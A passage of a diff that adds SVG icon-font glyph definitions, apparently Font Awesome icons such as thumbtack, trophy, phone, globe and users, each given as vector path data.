17.7998 28.7002 17.7998z" /> + <glyph glyph-name="thumbtack" unicode="" horiz-adv-x="384" +d="M298.028 233.733c47.9893 -22.3135 85.9717 -62.5508 85.9727 -113.733c0 -13.2549 -10.7451 -24 -24 -24h-136v-104.007c0 -1.2832 -0.307617 -2.50293 -0.844727 -3.57812l-24 -48c-2.94727 -5.89258 -11.3701 -5.88184 -14.3115 0l-24 48 +c-0.555664 1.11133 -0.844727 2.33594 -0.844727 3.57812v104.007h-136c-13.2549 0 -24 10.7451 -24 24c0 50.7393 37.4648 91.1797 85.9717 113.733l12.2354 118.267h-42.207c-13.2549 0 -24 10.7451 -24 24v48c0 13.2549 10.7451 24 24 24h272 +c13.2549 0 24 -10.7451 24 -24v-48c0 -13.2549 -10.7451 -24 -24 -24h-42.207z" /> + <glyph glyph-name="trophy" unicode="" horiz-adv-x="576" +d="M552 384c13.2998 0 24 -10.7002 24 -24v-56c0 -35.7002 -22.5996 -72.4004 -61.9004 -100.7c-31.3994 -22.7002 -69.6992 -37.0996 -110 -41.7002c-31.3994 -52.0996 -68.0996 -73.5996 -68.0996 -73.5996v-72h48c35.2998 0 64 -20.7002 64 -56v-12 +c0 -6.59961 -5.40039 -12 -12 -12h-296c-6.59961 0 -12 5.40039 -12 12v12c0 35.2998 28.7002 56 64 56h48v72s-36.7002 21.5 -68.0996 73.5996c-40.2002 4.60059 -78.5 19 -110 41.7002c-39.4004 28.2998 -61.9004 65 -61.9004 100.7v56c0 13.2998 10.7002 24 24 24h104v40 +c0 13.2998 10.7002 24 24 24h272c13.2998 0 24 -10.7002 24 -24v-40h104zM99.2998 255.2c12.5 -9 26.6006 -16.2002 41.7002 -21.4004c-7 25 -11.7998 53.6006 -12.7998 86.2002h-64.2002v-16c0 -11.5996 10.9004 -31.2002 35.2998 -48.7998zM512 304v16h-64.2998 +c-1 -32.5996 -5.7998 -61.2002 -12.7998 -86.2002c15.0996 5.2002 29.2998 12.4004 41.7998 21.4004c17.5996 12.7002 35.2998 32.7002 35.2998 48.7998z" /> + <glyph glyph-name="upload" unicode="" +d="M296 64h-80c-13.2998 0 -24 10.7002 -24 24v168h-87.7002c-17.7998 0 -26.7002 21.5 -14.0996 34.0996l152.1 152.2c7.5 7.5 19.7998 7.5 27.2998 0l152.2 -152.2c12.6006 -12.5996 3.7002 -34.0996 -14.0996 -34.0996h-87.7002v-168c0 -13.2998 -10.7002 -24 -24 -24z +M512 72v-112c0 -13.2998 -10.7002 -24 -24 -24h-464c-13.2998 0 -24 10.7002 -24 24v112c0 13.2998 10.7002 24 24 24h136v-8c0 -30.9004 25.0996 -56 56 -56h80c30.9004 0 56 25.0996 56 56v8h136c13.2998 0 24 -10.7002 24 -24zM388 -16c0 11 -9 20 -20 20s-20 -9 -20 -20 +s9 -20 20 -20s20 9 20 20zM452 -16c0 11 -9 20 -20 20s-20 -9 -20 -20s9 -20 20 -20s20 9 20 20z" /> + <glyph glyph-name="lemon" unicode="" +d="M489.038 425.037c23.0938 -23.0938 28.8916 -54.3906 16.833 -75.0928c-34.3115 -58.9043 53.0762 -181.249 -86.7461 -321.071s-262.167 -52.4326 -321.068 -86.7432c-20.7031 -12.0586 -52 -6.2627 -75.0947 16.832c-23.0928 23.0938 -28.8916 54.3906 -16.833 75.0928 +c34.3125 58.9043 -53.0781 181.247 86.7451 321.07s262.167 52.4336 321.073 86.7461c20.7012 12.0586 51.9971 6.25879 75.0908 -16.834zM243.881 352.478c8.57227 2.14355 13.7832 10.8291 11.6416 19.4023c-2.14258 8.57324 -10.8281 13.7852 -19.4033 11.6426 +c-69.8027 -17.4521 -154.218 -101.949 -171.643 -171.643c-2.1416 -8.57324 3.07031 -17.2588 11.6426 -19.4033c1.30273 -0.324219 2.6084 -0.480469 3.89258 -0.480469c7.16895 0 13.6943 4.85352 15.5117 12.124c14.5498 58.2031 90.1689 133.811 148.357 148.357z" /> + <glyph glyph-name="phone" unicode="" +d="M493.4 423.4c10.8994 -2.5 18.5996 -12.2002 18.5996 -23.4004c0 -256.5 -207.9 -464 -464 -464c-11.2998 0 -20.9004 7.7998 -23.4004 18.5996l-24 104c-2.59961 11.3008 3.30078 22.9004 14 27.6006l112 48c9.80078 4.2002 21.2002 1.39941 28 -6.90039 +l49.6006 -60.5996c78.2998 36.7002 141.2 100.5 177.2 177.2l-60.6006 49.5996c-8.2998 6.7002 -11.0996 18.2002 -6.89941 28l48 112c4.59961 10.5996 16.1992 16.5 27.5 13.9004z" /> + <glyph glyph-name="phone-square" unicode="" horiz-adv-x="448" +d="M400 416c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h352zM94 32c160.055 0 290 129.708 290 290c0 7.11621 -4.97559 13.0801 -11.6279 14.6143l-65 14.998 +c-1.08691 0.250977 -2.20312 0.394531 -3.36621 0.394531c-6.18457 0 -11.501 -3.75195 -13.7939 -9.10156l-30 -69.998c-0.775391 -1.81055 -1.22266 -3.81055 -1.22266 -5.90332c0 -4.68066 2.14844 -8.86328 5.51172 -11.6152l37.8857 -30.9971 +c-22.4834 -47.9219 -61.8369 -87.8164 -110.78 -110.779l-30.9971 37.8848c-2.75195 3.36328 -6.94043 5.49414 -11.6211 5.49414c-2.09277 0 -4.08691 -0.429688 -5.89746 -1.20508l-69.998 -29.999c-5.34961 -2.29297 -9.08984 -7.59375 -9.08984 -13.7783 +c0 -1.16309 0.131836 -2.29492 0.382812 -3.38184l14.998 -65c1.55957 -6.75391 7.58301 -11.627 14.6162 -11.627z" /> + <glyph glyph-name="unlock" unicode="" horiz-adv-x="448" +d="M400 192c26.5 0 48 -21.5 48 -48v-160c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v160c0 26.5 21.5 48 48 48h24v102.5c0 84 67.5 153.2 151.5 153.5s152.5 -68 152.5 -152v-16c0 -13.2998 -10.7002 -24 -24 -24h-32c-13.2998 0 -24 10.7002 -24 24v16 +c0 39.9004 -32.7002 72.4004 -72.7002 72c-39.5996 -0.400391 -71.2998 -33.2998 -71.2998 -72.9004v-103.1h248z" /> + <glyph glyph-name="credit-card" unicode="" horiz-adv-x="576" +d="M0 16v176h576v-176c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48zM192 84v-40c0 -6.59961 5.40039 -12 12 -12h136c6.59961 0 12 5.40039 12 12v40c0 6.59961 -5.40039 12 -12 12h-136c-6.59961 0 -12 -5.40039 -12 -12zM64 84v-40 +c0 -6.59961 5.40039 -12 12 -12h72c6.59961 0 12 5.40039 12 12v40c0 6.59961 -5.40039 12 -12 12h-72c-6.59961 0 -12 -5.40039 -12 -12zM576 368v-48h-576v48c0 26.5 21.5 48 48 48h480c26.5 0 48 -21.5 48 -48z" /> + <glyph glyph-name="rss" unicode="" horiz-adv-x="448" +d="M128.081 32.041c0 -35.3691 -28.6719 -64.041 -64.041 -64.041s-64.04 28.6719 -64.04 64.041s28.6719 64.041 64.041 64.041s64.04 -28.6729 64.04 -64.041zM303.741 -15.209c0.494141 -9.13477 -6.84668 -16.791 -15.9951 -16.79h-48.0693 +c-8.41406 0 -15.4707 6.49023 -16.0176 14.8867c-7.29883 112.07 -96.9404 201.488 -208.772 208.772c-8.39648 0.545898 -14.8867 7.60254 -14.8867 16.0176v48.0693c0 9.14746 7.65625 16.4883 16.791 15.9941c154.765 -8.36328 278.596 -132.351 286.95 -286.95z +M447.99 -15.4971c0.324219 -9.03027 -6.97168 -16.5029 -16.0049 -16.5039h-48.0684c-8.62598 0 -15.6455 6.83496 -15.999 15.4531c-7.83789 191.148 -161.286 344.626 -352.465 352.465c-8.61816 0.354492 -15.4531 7.37402 -15.4531 15.999v48.0684 +c0 9.03418 7.47266 16.3301 16.5029 16.0059c234.962 -8.43555 423.093 -197.667 431.487 -431.487z" /> + <glyph glyph-name="hdd" unicode="" horiz-adv-x="576" +d="M576 144v-96c0 -26.5098 -21.4902 -48 -48 -48h-480c-26.5098 0 -48 21.4902 -48 48v96c0 26.5098 21.4902 48 48 48h480c26.5098 0 48 -21.4902 48 -48zM528 224h-480c-0.0234375 0 -0.0996094 -0.0361328 -0.124023 -0.0361328 +c-10.8613 0 -21.2168 -2.18066 -30.6533 -6.12891l96.5283 144.791c8.60742 12.9102 23.2725 21.374 39.9385 21.374h268.621c16.667 0 31.332 -8.46387 39.9395 -21.374l96.5273 -144.791c-9.43652 3.94824 -19.8447 6.16504 -30.7061 6.16504h-0.0712891zM480 128 +c-17.6729 0 -32 -14.3271 -32 -32s14.3271 -32 32 -32s32 14.3271 32 32s-14.3271 32 -32 32zM384 128c-17.6729 0 -32 -14.3271 -32 -32s14.3271 -32 32 -32s32 14.3271 32 32s-14.3271 32 -32 32z" /> + <glyph glyph-name="bullhorn" unicode="" horiz-adv-x="576" +d="M576 208c0 -23.6299 -12.9502 -44.04 -32.0098 -55.1299v-152.87c0 -9.21973 -7.08008 -32 -32 -32c-7.5459 0.00683594 -14.5078 2.64062 -19.9805 7.01953l-85.0293 68.0303c-42.7002 34.1406 -96.3203 52.9502 -150.98 52.9502h-28.0801 +c-2.79004 -10.21 -4.41016 -20.8896 -4.41016 -32c0 -29.0801 9.75 -55.9199 26.1504 -77.4404c15.79 -20.7197 0.149414 -50.5596 -25.9004 -50.5596h-74.2793c-11.8809 0 -23.2109 6.37012 -28.4004 17.0596c-16.2998 33.5908 -25.5605 71.1709 -25.5605 110.94 +c0 10.8604 0.790039 21.5195 2.18066 32h-33.7002c-35.3496 0 -64 28.6504 -64 64v96c0 35.3496 28.6504 64 64 64h192c54.6602 0 108.28 18.8096 150.99 52.9502l85.0293 68.0303c5.79004 4.63965 12.8604 7.01953 19.9805 7.01953c25.0195 0 32 -23.2598 32 -32.0098 +v-152.87c19.0498 -11.0801 32 -31.4902 32 -55.1201zM480 66.5801v282.84l-33.0498 -26.4395c-54 -43.2002 -121.83 -66.9805 -190.95 -66.9805v-96c69.1201 0 136.95 -23.7803 190.95 -66.9805z" /> + <glyph glyph-name="certificate" unicode="" +d="M458.622 192.08l45.9844 -45.0039c13.7012 -12.9727 7.32227 -36.0371 -10.6641 -40.3389l-62.6504 -15.9902l17.6611 -62.0146c4.99023 -17.834 -11.8252 -34.665 -29.6611 -29.6719l-61.9941 17.667l-15.9834 -62.6709 +c-4.33887 -18.1533 -27.8252 -24.1553 -40.3252 -10.668l-44.9893 46.001l-44.9912 -46.001c-12.6289 -13.3496 -35.8857 -7.90625 -40.3252 10.668l-15.9834 62.6709l-61.9941 -17.667c-17.832 -4.99121 -34.6523 11.833 -29.6611 29.6719l17.6611 62.0146 +l-62.6504 15.9902c-17.9795 4.2998 -24.3721 27.3613 -10.6641 40.3389l45.9854 45.0039l-45.9854 45.0049c-13.7012 12.9707 -7.32227 36.0371 10.665 40.3379l62.6504 15.9902l-17.6611 62.0146c-4.99023 17.834 11.8242 34.665 29.6611 29.6709l61.9951 -17.667 +l15.9834 62.6709c4.27832 17.9023 27.6953 24.0195 40.3252 10.6689l44.9893 -46.3418l44.9902 46.3428c12.7744 13.5039 36.0947 7.03027 40.3252 -10.6689l15.9834 -62.6709l61.9941 17.667c17.832 4.99219 34.6523 -11.833 29.6611 -29.6709l-17.6611 -62.0146 +l62.6504 -15.9902c17.9795 -4.2998 24.3721 -27.3623 10.6641 -40.3389z" /> + <glyph glyph-name="hand-point-right" unicode="" +d="M512 248.348c0 -23.625 -20.6504 -43.8252 -44.7998 -43.8252h-99.8516c16.3408 -17.0488 18.3467 -49.7666 -6.29883 -70.9443c14.2881 -22.8291 2.14746 -53.0176 -16.4502 -62.3154c8.97461 -49.1406 -21.9453 -71.2627 -72.5996 -71.2627 +c-2.74609 0 -13.2764 0.203125 -16 0.195312c-61.9707 -0.167969 -76.8936 31.0645 -123.731 38.3145c-11.6729 1.80762 -20.2686 11.8916 -20.2686 23.7041v171.525l0.00195312 0.000976562c0.0107422 18.3662 10.6074 35.8887 28.4639 43.8447 +c28.8857 12.9941 95.4131 49.0381 107.534 77.3232c7.79688 18.1934 21.3838 29.084 40 29.0918c34.2217 0.0136719 57.752 -35.0977 44.1191 -66.9082c-3.58301 -8.3584 -8.3125 -16.6699 -14.1533 -24.918h149.234c23.4502 0 44.7998 -20.543 44.7998 -43.8262zM96 248 +v-192c0 -13.2549 -10.7451 -24 -24 -24h-48c-13.2549 0 -24 10.7451 -24 24v192c0 13.2549 10.7451 24 24 24h48c13.2549 0 24 -10.7451 24 -24zM68 80c0 11.0459 -8.9541 20 -20 20s-20 -8.9541 -20 -20s8.9541 -20 20 -20s20 8.9541 20 20z" /> + <glyph glyph-name="hand-point-left" unicode="" +d="M44.7998 292.174h149.234c-5.84082 8.24805 -10.5703 16.5586 -14.1533 24.918c-13.6328 31.8105 9.89746 66.9219 44.1191 66.9082c18.6162 -0.0078125 32.2031 -10.8975 40 -29.0918c12.1221 -28.2861 78.6484 -64.3291 107.534 -77.3232 +c17.8564 -7.95605 28.4531 -25.4785 28.4639 -43.8447l0.00195312 -0.000976562v-171.526c0 -11.8115 -8.5957 -21.8965 -20.2686 -23.7031c-46.8379 -7.25 -61.7607 -38.4824 -123.731 -38.3145c-2.72363 0.00683594 -13.2539 -0.195312 -16 -0.195312 +c-50.6543 0 -81.5742 22.1221 -72.5996 71.2627c-18.5977 9.29688 -30.7383 39.4863 -16.4502 62.3154c-24.6455 21.1768 -22.6396 53.8955 -6.29883 70.9443h-99.8516c-24.1494 0 -44.7998 20.2002 -44.7998 43.8252c0 23.2832 21.3496 43.8262 44.7998 43.8262zM440 272 +h48c13.2549 0 24 -10.7451 24 -24v-192c0 -13.2549 -10.7451 -24 -24 -24h-48c-13.2549 0 -24 10.7451 -24 24v192c0 13.2549 10.7451 24 24 24zM464 60c11.0459 0 20 8.9541 20 20s-8.9541 20 -20 20s-20 -8.9541 -20 -20s8.9541 -20 20 -20z" /> + <glyph glyph-name="hand-point-up" unicode="" horiz-adv-x="384" +d="M135.652 448c23.625 0 43.8252 -20.6504 43.8252 -44.7998v-99.8516c17.0488 16.3408 49.7666 18.3467 70.9443 -6.29883c22.8291 14.2881 53.0176 2.14746 62.3154 -16.4502c49.1406 8.97461 71.2627 -21.9453 71.2627 -72.5996 +c0 -2.74609 -0.203125 -13.2764 -0.195312 -16c0.167969 -61.9707 -31.0645 -76.8936 -38.3145 -123.731c-1.80762 -11.6729 -11.8916 -20.2686 -23.7041 -20.2686h-171.525l-0.000976562 0.00195312c-18.3662 0.0107422 -35.8887 10.6074 -43.8447 28.4639 +c-12.9941 28.8857 -49.0381 95.4121 -77.3232 107.534c-18.1943 7.79688 -29.084 21.3838 -29.0918 40c-0.0136719 34.2217 35.0977 57.752 66.9082 44.1191c8.3584 -3.58301 16.6699 -8.3125 24.918 -14.1533v149.234c0 23.4502 20.543 44.7998 43.8262 44.7998zM136 32 +h192c13.2549 0 24 -10.7451 24 -24v-48c0 -13.2549 -10.7451 -24 -24 -24h-192c-13.2549 0 -24 10.7451 -24 24v48c0 13.2549 10.7451 24 24 24zM304 4c-11.0459 0 -20 -8.9541 -20 -20s8.9541 -20 20 -20s20 8.9541 20 20s-8.9541 20 -20 20z" /> + <glyph glyph-name="hand-point-down" unicode="" horiz-adv-x="384" +d="M91.8262 -19.2002v149.234c-8.24805 -5.84082 -16.5586 -10.5703 -24.918 -14.1533c-31.8105 -13.6328 -66.9219 9.89746 -66.9082 44.1191c0.0078125 18.6162 10.8975 32.2031 29.0918 40c28.2861 12.1221 64.3291 78.6484 77.3232 107.534 +c7.95605 17.8564 25.4785 28.4531 43.8447 28.4639l0.000976562 0.00195312h171.526c11.8115 0 21.8965 -8.5957 23.7031 -20.2686c7.25 -46.8379 38.4824 -61.7607 38.3145 -123.731c-0.00683594 -2.72363 0.195312 -13.2539 0.195312 -16 +c0 -50.6543 -22.1221 -81.5742 -71.2627 -72.5996c-9.29688 -18.5977 -39.4863 -30.7383 -62.3154 -16.4502c-21.1768 -24.6455 -53.8955 -22.6396 -70.9443 -6.29883v-99.8516c0 -24.1494 -20.2002 -44.7998 -43.8252 -44.7998 +c-23.2832 0 -43.8262 21.3496 -43.8262 44.7998zM112 376v48c0 13.2549 10.7451 24 24 24h192c13.2549 0 24 -10.7451 24 -24v-48c0 -13.2549 -10.7451 -24 -24 -24h-192c-13.2549 0 -24 10.7451 -24 24zM324 400c0 11.0459 -8.9541 20 -20 20s-20 -8.9541 -20 -20 +s8.9541 -20 20 -20s20 8.9541 20 20z" /> + <glyph glyph-name="arrow-circle-left" unicode="" +d="M256 -56c-137 0 -248 111 -248 248s111 248 248 248s248 -111 248 -248s-111 -248 -248 -248zM284.9 87.5996l-75.5 72.4004h182.6c13.2998 0 24 10.7002 24 24v16c0 13.2998 -10.7002 24 -24 24h-182.6l75.5 72.4004c9.69922 9.2998 9.89941 24.7998 0.399414 34.2998 +l-11 10.8994c-9.39941 9.40039 -24.5996 9.40039 -33.8994 0l-132.7 -132.6c-9.40039 -9.40039 -9.40039 -24.5996 0 -33.9004l132.7 -132.699c9.39941 -9.40039 24.5996 -9.40039 33.8994 0l11 10.8994c9.5 9.5 9.2998 25 -0.399414 34.2998z" /> + <glyph glyph-name="arrow-circle-right" unicode="" +d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM227.1 296.4l75.5 -72.4004h-182.6c-13.2998 0 -24 -10.7002 -24 -24v-16c0 -13.2998 10.7002 -24 24 -24h182.6l-75.5 -72.4004 +c-9.69922 -9.2998 -9.89941 -24.7998 -0.399414 -34.2998l11 -10.8994c9.39941 -9.40039 24.5996 -9.40039 33.8994 0l132.7 132.6c9.40039 9.40039 9.40039 24.5996 0 33.9004l-132.7 132.8c-9.39941 9.39941 -24.5996 9.39941 -33.8994 0l-11 -10.9004 +c-9.5 -9.59961 -9.2998 -25.0996 0.399414 -34.3994z" /> + <glyph glyph-name="arrow-circle-up" unicode="" +d="M8 192c0 137 111 248 248 248s248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248zM151.6 163.1l72.4004 75.5v-182.6c0 -13.2998 10.7002 -24 24 -24h16c13.2998 0 24 10.7002 24 24v182.6l72.4004 -75.5c9.2998 -9.69922 24.7998 -9.89941 34.2998 -0.399414 +l10.8994 11c9.40039 9.39941 9.40039 24.5996 0 33.8994l-132.6 132.7c-9.40039 9.40039 -24.5996 9.40039 -33.9004 0l-132.8 -132.7c-9.39941 -9.39941 -9.39941 -24.5996 0 -33.8994l10.9004 -11c9.59961 -9.5 25.0996 -9.2998 34.3994 0.399414z" /> + <glyph glyph-name="arrow-circle-down" unicode="" +d="M504 192c0 -137 -111 -248 -248 -248s-248 111 -248 248s111 248 248 248s248 -111 248 -248zM360.4 220.9l-72.4004 -75.5v182.6c0 13.2998 -10.7002 24 -24 24h-16c-13.2998 0 -24 -10.7002 -24 -24v-182.6l-72.4004 75.5 +c-9.2998 9.69922 -24.7998 9.89941 -34.2998 0.399414l-10.8994 -11c-9.40039 -9.39941 -9.40039 -24.5996 0 -33.8994l132.6 -132.7c9.40039 -9.40039 24.5996 -9.40039 33.9004 0l132.699 132.7c9.40039 9.39941 9.40039 24.5996 0 33.8994l-10.8994 11 +c-9.5 9.5 -25 9.2998 -34.2998 -0.399414z" /> + <glyph glyph-name="globe" unicode="" horiz-adv-x="496" +d="M336.5 288h-177c14.5 89.2998 48.7002 152 88.5 152s74 -62.7002 88.5 -152zM152 192c0 22.2002 1.2002 43.5 3.2998 64h185.3c2.10059 -20.5 3.30078 -41.7998 3.30078 -64s-1.2002 -43.5 -3.30078 -64h-185.3c-2.09961 20.5 -3.2998 41.7998 -3.2998 64zM476.7 288 +h-108c-8.7998 56.9004 -25.6006 107.8 -50 141.6c71.5 -21.1992 129.399 -73.6992 158 -141.6zM177.2 429.6c-24.4004 -33.7998 -41.2002 -84.6992 -49.9004 -141.6h-108c28.5 67.9004 86.5 120.4 157.9 141.6zM487.4 256c5.39941 -20.5 8.5 -41.7998 8.5 -64 +s-3.10059 -43.5 -8.60059 -64h-114.6c2.09961 21 3.2998 42.5 3.2998 64s-1.2002 43 -3.2998 64h114.7zM120 192c0 -21.5 1.2002 -43 3.2002 -64h-114.601c-5.39941 20.5 -8.59961 41.7998 -8.59961 64s3.2002 43.5 8.59961 64h114.7 +c-2.09961 -21 -3.2998 -42.5 -3.2998 -64zM159.5 96h177c-14.5 -89.2998 -48.7002 -152 -88.5 -152s-74 62.7002 -88.5 152zM318.8 -45.5996c24.4004 33.7998 41.2002 84.6992 50 141.6h108c-28.5996 -67.9004 -86.5996 -120.4 -158 -141.6zM19.2998 96h108 +c8.7998 -56.9004 25.6006 -107.8 50 -141.6c-71.5 21.1992 -129.399 73.6992 -158 141.6z" /> + <glyph glyph-name="wrench" unicode="" +d="M507.73 338.9c11.7891 -47.4102 -0.84082 -99.6602 -37.9102 -136.73c-39.9004 -39.9004 -97.25 -50.9297 -147.37 -34.2197l-213.21 -213.21c-24.9902 -24.9902 -65.5098 -24.9902 -90.5 0s-24.9902 65.5098 0 90.5l213.39 213.39 +c-16.5 50.1006 -5.58984 107.561 34.0498 147.2c37.0303 37.0195 89.2002 49.6699 136.58 37.9297c9.08984 -2.25977 12.2803 -13.54 5.66016 -20.1602l-74.3604 -74.3594l11.3105 -67.8799l67.8799 -11.3105l74.3604 74.3604 +c6.58008 6.58008 17.8799 3.51953 20.1201 -5.50977zM64 -24c13.25 0 24 10.75 24 24c0 13.2598 -10.75 24 -24 24s-24 -10.7402 -24 -24c0 -13.25 10.75 -24 24 -24z" /> + <glyph glyph-name="tasks" unicode="" +d="M139.61 412.5l17 -16.5c2.13281 -2.18066 3.44922 -5.16797 3.44922 -8.45605c0 -3.33496 -1.35352 -6.35547 -3.54004 -8.54395l-72.1992 -72.1904l-15.5898 -15.6191c-2.29297 -2.17969 -5.39941 -3.51758 -8.80859 -3.51758 +c-3.41016 0 -6.50977 1.33789 -8.80176 3.51758l-47.5898 47.3994c-2.18066 2.17383 -3.53125 5.18262 -3.53125 8.50195c0 3.31836 1.35059 6.3252 3.53125 8.49805l15.7002 15.7197c2.17285 2.18164 5.18164 3.53125 8.50098 3.53125s6.3252 -1.34961 8.49902 -3.53125 +l22.6992 -22.1191l63.6807 63.3096c2.17285 2.18066 5.18262 3.53125 8.50098 3.53125c3.31934 0 6.3252 -1.35059 8.49902 -3.53125zM139.61 253.31l16.9795 -17c2.125 -2.16504 3.43652 -5.13574 3.43652 -8.40625c0 -3.31641 -1.34863 -6.32031 -3.52637 -8.49316 +l-72.2002 -72.2197l-15.7002 -15.6904c-2.29004 -2.17871 -5.39551 -3.5166 -8.80273 -3.5166c-3.4082 0 -6.50586 1.33789 -8.79688 3.5166l-47.4697 47.5c-2.18066 2.17285 -3.53125 5.18262 -3.53125 8.50195c0 3.31836 1.35059 6.3252 3.53125 8.49805l15.7002 15.6904 +c2.17285 2.18066 5.18164 3.53125 8.50098 3.53125s6.3252 -1.35059 8.49902 -3.53125l22.6992 -22.1006l63.6807 63.7197c2.17285 2.18164 5.18262 3.53125 8.50098 3.53125c3.31934 0 6.3252 -1.34961 8.49902 -3.53125zM64 80c26.4922 0 48 -21.5078 48 -48 +s-21.5078 -48 -48 -48c-26.4697 0 -48.5898 21.5 -48.5898 48s22.0996 48 48.5898 48zM496 64c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-288c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h288zM496 384 +c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-288c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h288zM496 224c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-288c-8.83105 0 -16 7.16895 -16 16v32 +c0 8.83105 7.16895 16 16 16h288z" /> + <glyph glyph-name="filter" unicode="" +d="M487.976 448c21.3623 0 32.0459 -25.8965 16.9717 -40.9707l-184.947 -184.971v-262.039c0 -19.5127 -21.9805 -30.71 -37.7627 -19.6611l-80 55.9795c-6.41602 4.49219 -10.2373 11.8311 -10.2373 19.6621v206.059l-184.942 184.971 +c-15.1045 15.1045 -4.34766 40.9707 16.9707 40.9707h463.947z" /> + <glyph glyph-name="briefcase" unicode="" +d="M320 112v48h192v-144c0 -25.5996 -22.4004 -48 -48 -48h-416c-25.5996 0 -48 22.4004 -48 48v144h192v-48c0 -8.83984 7.16016 -16 16 -16h96c8.83984 0 16 7.16016 16 16zM464 320c25.5996 0 48 -22.4004 48 -48v-80h-512v80c0 25.5996 22.4004 48 48 48h80v48 +c0 25.5996 22.4004 48 48 48h160c25.5996 0 48 -22.4004 48 -48v-48h80zM320 320v32h-128v-32h128z" /> + <glyph glyph-name="arrows-alt" unicode="" +d="M352.201 22.2246l-79.1963 -79.1953c-9.37305 -9.37305 -24.5684 -9.37305 -33.9404 0l-79.1963 79.1953c-15.1191 15.1191 -4.41113 40.9717 16.9707 40.9707h51.1621l-0.000976562 100.805h-100.804v-51.1621c0 -21.3818 -25.8516 -32.0898 -40.9717 -16.9707 +l-79.1953 79.1963c-9.37305 9.37207 -9.37305 24.5684 0 33.9404l79.1953 79.1963c15.1191 15.1191 40.9717 4.41113 40.9717 -16.9717v-51.2285h100.804v100.804h-51.2305c-21.3818 0 -32.0898 25.8516 -16.9707 40.9717l79.1963 79.1953 +c9.37305 9.37305 24.5684 9.37305 33.9404 0l79.1963 -79.1953c15.1191 -15.1191 4.41113 -40.9717 -16.9707 -40.9717h-51.1621v-100.804h100.804v51.1621c0 21.3818 25.8516 32.0898 40.9707 16.9707l79.1953 -79.1963c9.37305 -9.37207 9.37305 -24.5684 0 -33.9404 +l-79.1953 -79.1963c-15.1191 -15.1191 -40.9717 -4.41113 -40.9707 16.9717v51.2285h-100.803v-100.804h51.2305c21.3818 0 32.0898 -25.8516 16.9707 -40.9717z" /> + <glyph glyph-name="users" unicode="" horiz-adv-x="640" +d="M96 224c-35.2998 0 -64 28.7002 -64 64s28.7002 64 64 64s64 -28.7002 64 -64s-28.7002 -64 -64 -64zM544 224c-35.2998 0 -64 28.7002 -64 64s28.7002 64 64 64s64 -28.7002 64 -64s-28.7002 -64 -64 -64zM576 192c35.2998 0 64 -28.7002 64 -64v-32 +c0 -17.7002 -14.2998 -32 -32 -32h-66c-6.2002 47.4004 -34.7998 87.2998 -75.0996 109.4c11.5996 11.5 27.5 18.5996 45.0996 18.5996h64zM320 192c-61.9004 0 -112 50.0996 -112 112s50.0996 112 112 112s112 -50.0996 112 -112s-50.0996 -112 -112 -112zM396.8 160 +c63.6006 0 115.2 -51.5996 115.2 -115.2v-28.7998c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v28.7998c0 63.6006 51.5996 115.2 115.2 115.2h8.2998c20.9004 -10 43.9004 -16 68.5 -16s47.7002 6 68.5 16h8.2998zM173.1 173.4 +c-40.2998 -22.1006 -68.8994 -62 -75.1992 -109.4h-65.9004c-17.7002 0 -32 14.2998 -32 32v32c0 35.2998 28.7002 64 64 64h64c17.5996 0 33.5 -7.09961 45.0996 -18.5996z" /> + <glyph glyph-name="link" unicode="" +d="M326.612 262.609c59.7471 -59.8096 58.9268 -155.698 0.359375 -214.591c-0.109375 -0.119141 -0.239258 -0.25 -0.359375 -0.369141l-67.2002 -67.2002c-59.2705 -59.2705 -155.699 -59.2627 -214.96 0c-59.2705 59.2598 -59.2705 155.7 0 214.96l37.1055 37.1055 +c9.84082 9.84082 26.7861 3.30078 27.2939 -10.6055c0.648438 -17.7227 3.82617 -35.5273 9.69043 -52.7207c1.98633 -5.82227 0.567383 -12.2627 -3.7832 -16.6123l-13.0869 -13.0869c-28.0254 -28.0264 -28.9053 -73.6602 -1.15527 -101.96 +c28.0244 -28.5791 74.0859 -28.749 102.325 -0.510742l67.2002 67.1904c28.1914 28.1914 28.0732 73.7568 0 101.83c-3.70117 3.69434 -7.42871 6.56348 -10.3408 8.56934c-4.05078 2.78125 -6.74707 7.37402 -6.94727 12.6055 +c-0.395508 10.5674 3.34766 21.4561 11.6982 29.8057l21.0537 21.0557c5.52148 5.52051 14.1826 6.19922 20.584 1.73047c7.38574 -5.15723 14.1709 -10.8447 20.5225 -17.1963zM467.547 403.551c59.2705 -59.2598 59.2705 -155.7 -0.000976562 -214.959l-37.1055 -37.1055 +c-9.84082 -9.83984 -26.7852 -3.30078 -27.2939 10.6055c-0.648438 17.7227 -3.82617 35.5273 -9.69043 52.7217c-1.98633 5.82129 -0.567383 12.2617 3.7832 16.6113l13.0869 13.0869c28.0264 28.0264 28.9053 73.6602 1.15527 101.96 +c-28.0254 28.5791 -74.0869 28.749 -102.325 0.510742l-67.2002 -67.1904c-28.1914 -28.1914 -28.0732 -73.7568 0 -101.83c3.70117 -3.69434 7.42871 -6.56348 10.3408 -8.56934c4.05078 -2.78125 6.74707 -7.37402 6.94727 -12.6055 +c0.395508 -10.5674 -3.34766 -21.4561 -11.6982 -29.8057l-21.0537 -21.0557c-5.52051 -5.51953 -14.1826 -6.19922 -20.584 -1.73047c-7.38574 5.15625 -14.1699 10.8447 -20.5215 17.1953c-59.7471 59.8096 -58.9258 155.698 -0.359375 214.591 +c0.109375 0.119141 0.239258 0.25 0.359375 0.369141l67.2002 67.2002c59.2705 59.2705 155.699 59.2627 214.96 0z" /> + <glyph glyph-name="cloud" unicode="" horiz-adv-x="640" +d="M537.6 221.4c58.4004 -11.8008 102.4 -63.5 102.4 -125.4c0 -70.7002 -57.2998 -128 -128 -128h-368c-79.5 0 -144 64.5 -144 144c0 62.7998 40.2002 116.2 